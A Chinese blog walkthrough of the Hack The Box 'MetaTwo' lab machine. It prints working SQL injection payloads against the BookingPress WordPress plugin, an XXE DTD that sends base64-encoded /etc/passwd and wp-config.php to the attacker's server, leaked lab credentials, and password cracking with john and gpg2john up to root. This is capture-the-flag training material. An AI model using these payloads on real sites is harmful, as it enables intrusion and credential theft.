HTB-MetaTwo

OverView

主要考点:

  • wordpress 用户表
  • nginx 配置文件路径
  • ftp 操作
  • passpie 密码管理工具破解密码

闲来无事打了一下 HTB 上的一个靶机,感觉还是挺有收获

SQL Inject

首先 nmap 扫描了一下靶机端口,开放了 21、22、80 端口。其中 21 似乎是 ftp 协议端口。打开 80 端口,发现是 wordpress 站点。指纹推测是 5.6.2 的版本,并且是 nginx 起的服务,直接使用 wpsscan –api-token 扫描,没有扫描到什么插件,尝试了好久 wpscan 扫描结果给出的可能存在的漏洞,均无果。思路暂时卡住。

点开网站首页给出的链接 http://metapress.htb/events/ 查看页面源代码发现了一个插件

img

bookingpress,反正 wpscan 是没扫描出来,谷歌搜索很快就能够找到这个插件的 SQL 注入漏洞

img

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

很容易看懂操作,首先尝试直接 getShell。

action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION ALL SELECT @@version,user(),@@global.secure_file_priv,1,2,3,4,5,6-- -

发现为 null 因此想要直接 SELECT INTO OUTFILE 是走不通了,那就只能够读取数据了

首先读数据库

action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(SCHEMA_NAME),10,1,2,3,4,5,6 from information_schema.SCHEMATA-- -

发现存在两个数据库,information_schema 和 blog

查询表

action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(TABLE_NAME),10,1,2,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE()-- -

最终通过搜索可以知道 wordpress 用户存放的表

读取用户名和密码

action=bookingpress_front_get_category_services&_wpnonce=2cb25f3de8&category_id=33&total_service=-7502) UNION SELECT 9,group_concat(user_login),group_concat(user_pass),1,2,3,4,5,6 FROM wp_users -- -

内容如下

admin   $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70

其中 manager 的一个 \ 是转义的意思。但是这个密码显然是加密过的,无法直接登录

用 Kali 的 john 工具尝试破解密码。具体操作便是将上述加密的密码写入一个文件中,然后直接命令行 john xxx.txt 即可进行尝试爆破破解

最终得到 manager 的密码是 partylikearockstar

XXE Bild Read File

成功登录后台,但是并不是管理员。这个时候想起前面用 wpscan 发现的漏洞。

直接使用 CVE-2021-29447 https://github.com/motikan2010/CVE-2021-29447这个漏洞是通过上传一个恶意的媒体然后就可以直接 XEE 读取文件。

修改 attack/www 目录下的 evil.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.29:8001/?p=%file;'>" >

启动好服务器,安装 github.com 上面给出的做法做出恶意的媒体文件,最终尝试上传发现可以利用

img

那么该读取什么文件呢?由于站点是 wordpress 因此 wp-config.php 中存在一下敏感信息。但是我们并不知道网站的路径,无法直接读取。因此尝试读取 nginx 配置文件。但是在常规的

/usr/sbin/nginx
/etc/nginx/conf/nginx.conf
/usr/local/nginx/conf/nginx.conf
/etc/nginx/conf.d 这是一个目录

均没有读取到内容。查看了题解发现读取的是

/etc/nginx/sites-enabled/default

读取内容如下:

server {

        listen 80;
        listen [::]:80;

        root /var/www/metapress.htb/blog;

        index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

        location / {
                try_files $uri $uri/ /index.php?$args;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
        }

        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
                expires max;
                log_not_found off;
        }

}

Ftp download file

这下就很容易知道 wp-config.php 的路径了,修改 evil.dtd 如下

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.29:8001/?p=%file;'>" >

同样的步骤,得到内容

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

虽然我们得到了数据库的密码,但是 3306 端口并没有对外开启。因此我们可以利用 ftp 连接上去。看看能不能用 put 命令上传文件。

ftp 10.10.11.186
输入用户和密码

不幸的是没有 put 权限,甚至是 /tmp 目录 但是通过 ls 命令可以在 Mail 目录下通过 get 命令下载到 send_email.php

user.txt

<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "[email protected]";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "[email protected]";
$mail->FromName = "James Nelson";

$mail->addAddress("[email protected]");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

这下不久看到了 password 和 username 了吗,直接尝试用

jnelson 和 Cb4_JmWM8zUZWMu@Ys 进行登录
ssh [email protected]

登录成功。并且直接获得第一个 flag

img

然后去 https://github.com/carlospolop/PEASS-ng 下载了 PEASS-ng 这个辅助提权脚本,在自己的机器上开启服务,然后目标机器上 wget 下载。尝试了给出的好多可能利用的 CVE 提权,但都没有什么用

root.txt

ls -al 查看到了隐藏文件并下载

img

同理下载了 root.pass 文件

img

又由于是在 passpie 目录下,我们知道 passpie 是一个密码管理工具,而我们只需要破解了 passpie 的管理密码就可以用命令行 passpie export pass 导出密码

首先我们将下载到的 key 的公钥部分删除,只保留私钥部分,然后用 gpg2john 和 john 工具尝试爆破 passpie 密码

img

sudo john -w:/usr/share/wordlists/rockyou.txt hash

img
很快我们就知道了密码是 blink182

我们将密码导出到 pass 文件,但是在当前目录下没有创建文件权限,我们随便找到一个可以写文件的目录

img

最终得到了密码

img

su root

img

至此获得完全部的 Flag

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇